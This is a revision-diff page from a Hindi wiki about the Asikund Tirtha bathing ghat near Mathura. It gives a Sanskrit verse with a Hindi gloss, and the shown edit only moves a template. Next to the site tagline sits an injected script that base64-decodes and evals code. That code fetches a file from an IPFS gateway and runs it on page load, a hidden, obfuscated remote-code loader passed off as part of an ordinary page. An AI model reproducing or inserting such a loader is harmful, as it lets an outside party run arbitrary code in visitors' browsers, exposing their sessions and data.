"असिकुण्ड तीर्थ" के अवतरणों में अंतर

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
नेविगेशन पर जाएँ खोज पर जाएँ
पंक्ति १: पंक्ति १:
 
{{menu}}<br />
 
{{menu}}<br />
{{यमुना के घाट}}
 
 
==असिकुण्ड तीर्थ / Asikund Thirth==
 
==असिकुण्ड तीर्थ / Asikund Thirth==
  
पंक्ति १४: पंक्ति १३:
  
  
 
+
<br />
 
+
{{यमुना के घाट}}
 
[[category:धार्मिक स्थल]]  
 
[[category:धार्मिक स्थल]]  
 
[[श्रेणी:कोश]]
 
[[श्रेणी:कोश]]
 
[[श्रेणी:दर्शनीय-स्थल कोश]]
 
[[श्रेणी:दर्शनीय-स्थल कोश]]

१२:३३, ४ अक्टूबर २००९ का अवतरण


असिकुण्ड तीर्थ / Asikund Thirth

एका वराहसंज्ञा च तथा नारायणी परा ।
वामना च तृतीया वै चतुर्थी लांगली शुभा ॥
एताश्चस्त्रो य: पश्येत् स्नात्वा कुण्डेSसिसंज्ञके ।
चतु: सागरपर्यान्ता क्रानता तेन धरा ध्रुवम् ।
तीर्थानां माथुराणाञच सर्वेषां फलमश्नुते ॥

  1. श्रीवाराह,
  2. श्रीनारायण,
  3. श्रीवामन,
  4. मंगलमयी लांगली, इन चार मूर्तियों के साथ जो व्यक्ति असिकुण्ड में स्नान करते है, उन्हें चारों तरफ से घिरा हुआ, पृथ्वी की परिक्रमा एंव मथुरा के समस्त तीर्थों के दर्शन लाभ का फल प्राप्त होता है ।



साँचा:यमुना के घाट